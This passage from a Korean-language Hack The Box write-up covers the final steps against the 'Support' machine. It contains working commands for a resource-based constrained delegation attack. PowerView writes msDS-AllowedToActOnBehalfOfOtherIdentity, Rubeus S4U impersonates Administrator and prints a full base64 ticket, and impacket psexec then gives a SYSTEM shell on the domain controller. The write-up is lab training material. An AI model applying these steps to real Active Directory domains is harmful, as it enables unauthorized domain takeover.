2. 명단에 넣을 값 가져오기

허용 명단에 방금 생성한 머신을 추가해주어야하는데, 여기서 중요한 점은 msDS-AllowedToActOnBehalfOfOtherIdentity 속성이 단순히 컴퓨터 이름을 저장하는 것이 아니라, 보안 디스크립터 형태로 SID를 저장한다는 점이다.

따라서 먼저 attackersystem$ 계정의 SID를 가져와야 한다.

abuse에서는 Powerview를 이용하여 진행했다.

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
Powerview : AD 환경에서 사용자, 그룹, 컴퓨터, 권한 관계 등을 열거하는데 자주 사용된다.

(이거는 다 클론받기 귀찮아서 스크립트 복사해서 파일 하나 만들었다.)

똑같이 업로드 해주고, 실행!

*Evil-WinRM* PS C:\Users\support\Documents> upload PowerView.ps1

Info: Uploading /home/m0nk3ygod/Documents/htb/active/supprot-easy-win/PowerView.ps1 to C:\Users\support\Documents\PowerView.ps1

Data: 308680 bytes of 308680 bytes copied

Info: Upload successful!
*Evil-WinRM* PS C:\Users\support\Documents> . .\PowerView.ps1

현재 SID 값이 필요하기 때문에, 이 값을 가져와서 변수에 넣어준다.

$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid

*Evil-WinRM* PS C:\Users\support\Documents> $ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid

3. “이 SID를 허용함”이라는 디스크립터를 바이트로 만들기

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

잠깐 설명하자면,

"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" 문자열은 SDDL(보안 디스크립터를 짧게 적는 표기법)이다.

O:BA = “소유자 : Built-in Administrators”
D: = “접근 목록(DACL)”
(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;<SID>) = ACE
- A = Allow
- CCDCLCSWRPWPDTLOCRSDRCWDWO = Full Control
- <SID> = 권한을 받는 주체

여기까지가 한줄이고, 다음 두줄은 그 ACL 객체를 바이트 형태로 직렬화시킨다.

msDS-AllowedToActOnBehalfOfOtherIdentity 가 텍스트가 아닌 이진 보안 디스크립터를 저장하기 때문에 바이트 형태로 저장한다.

*Evil-WinRM* PS C:\Users\support\Documents> $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

4. 명단에 집어넣기

이것도 PowerView를 사용한다.

*Evil-WinRM* PS C:\Users\support\Documents> Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

(명령이 직관적이라 설명은 생략)

5. 비밀번호 해시화

이제 attackersystem$ 계정으로 Kerberos 요청을 해야한다.

Kerberos에서는 평문 비밀번호 자체를 직접 사용하는 것이 아니라, 비밀번호에서 파생된 키를 사용한다.

Windows AD 환경에서 RC4-HMAC을 사용할 경우 흔히 NT hash 형태의 값을 사용한다.

따라서 가짜 머신 계정을 생성할 때 사용한 비밀번호를 RC4/NT hash 형태로 변환해준다.

RC4_HMAC 해시화는 Rubeus.exe를 이용하면 할 수 있다.

https://github.com/gzzcoo/Rubeus (누가 이미 컴파일을 해두셨…ㅎ)

alt text

6. S4U (Service for User)

마지막으로 Rubeus의 S4U 모듈을 사용해서 administrator인 것처럼 가장한 서비스 티켓(TGS)를 요청한다.

S4U (Service for User)
- 서비스가 사용자의 비밀번호 없이 그 사용자를 대신해 Kerberos 티켓을 받게 해주는 기능
1. S4U2self : 서비스가 자기 자신으로 가는 티켓을 임의 사용자 명의로 발급
  - 서비스가 “Administrator가 나에게 접속한 것처럼” 보이는 티켓을 얻는다.
  - 사용차인 척하는 중간 티켓을 얻는 단계라고 보면 된다.
  - 여기까지만 진행해도 임의 사용자 명의의 티켓이 발급되기에 해시 추출아 가능해진다.
2. S4U2proxy : 그 티켓으로 다른 서비스에 접근하는 티켓을 사용자 명의로 요청
  - 실제로 사용자를 대신하여 행동. (Constrained Delegation)

S4U2self와 S4U2proxy의 원래 용도?? 사용자가 Kerberos가 아닌 방식(NTLM, 인증서 등)으로 로그인했더라도 서비스가 그 사용자에 대한 Kerberos 티켓을 만들어 쓸 수 있게 하려는 것이 S4U2self의 원래 의도이다. 여기서 받은 티켓을 이용해 “다른 서비스로”가는 티켓을 그 사용자 명의로 요청하는 것이 S4U2proxy이다. 이전에 예시를 들었던 웹서버와 DB 관계가 원래 행위이다. 이는 계정의 msDS-AllowToDelegateTo 속성에 적힌 서비스들에 한해서만 사용자를 대신할 수 있도록 한정한다.

root.txt (flag)

Rubeus.exe s4u /user:attackersystem$ /rc4:C30B3CA59644936E5D637B01368820FF /impersonateuser:Administrator /msdsspn:cifs/dc.support.htb /nowrap

(마지막 명령은 환경에 맞게 재구성 해야함!!!!!!)

/msdsspn : msDS SPN = msDS-AllowedToDelegatedTo
- 최종적으로 접근할 서비스 SPN을 지정하는 옵션

여기서는 cifs(Common Internet File System) TGS를 요청했다.

Common Internet File System : SMB 파일 공유와 관련되 서비스 (SMB 접근에 사용된다)

마지막에 /ptt를 /nowrap으로 바꾼 이유는, 더블 홉 이슈 때문이다.

더블 홉 때문에 /ptt가 안먹는 경우가 많아서 /nowrap으로 줄바꿈 없이 티켓을 발급받아 티켓 변환 후 이용하려고 한다.

...

[*] Impersonating user 'Administrator' to target SPN 'cifs/dc.support.htb'
[*] Building S4U2proxy request for service: 'cifs/dc.support.htb'
[*] Using domain controller: dc.support.htb (::1)
[*] Sending S4U2proxy request to domain controller ::1:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/dc.support.htb':

      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
*Evil-WinRM* PS C:\Users\support\Documents>

이렇게 티켓이 발급된다.

마지막 base64 블록을 복사해서, 다음과 같이 진행했다.

echo <마지막_base64_블록> | base64 -d > ticket.kirbi
impacket-ticketConverter ticket.kirbi ticket.ccache
KRB5CCNAME=ticket.ccache impacket-psexec -k -no-pass support.htb/administrator@dc.support.htb

동작을 요약하자면…

Base64 디코딩 -> ticket.kirbi
impacket에서 사용할 수 있는 ccahe 형식으로 변환
KRB5CCNAME 환경 변수에 Kerberos 티켓 캐시 파일을 지정 (인증할 때 이거 써라!)
티켓으로 접속 시도도(impacket-psexec)

요렇게 실행을 쭉 해보면,

➜  supprot-easy-win echo 'doIGcDC
...wH6ADAgECoRgwFhsEY2lmcxsOZGMuc3VwcG9yd
C5odGI=' | base64 -d > ticket.kirbi
➜  supprot-easy-win impacket-ticketConverter ticket.kirbi ticket.ccache
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] converting kirbi to ccache...
[+] done
➜  supprot-easy-win KRB5CCNAME=ticket.ccache impacket-psexec -k -no-pass support.htb/administrator@dc.support.htb
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on dc.support.htb.....
[*] Found writable share ADMIN$
[*] Uploading file UkVNBRsU.exe
[*] Opening SVCManager on dc.support.htb.....
[*] Creating service ILUK on dc.support.htb.....
[*] Starting service ILUK.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.859]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

Administrator 권한을 얻을 수 있다!!

C:\Users\Administrator\Desktop> type root.txt
b529a***********************cb60

← ALL POSTS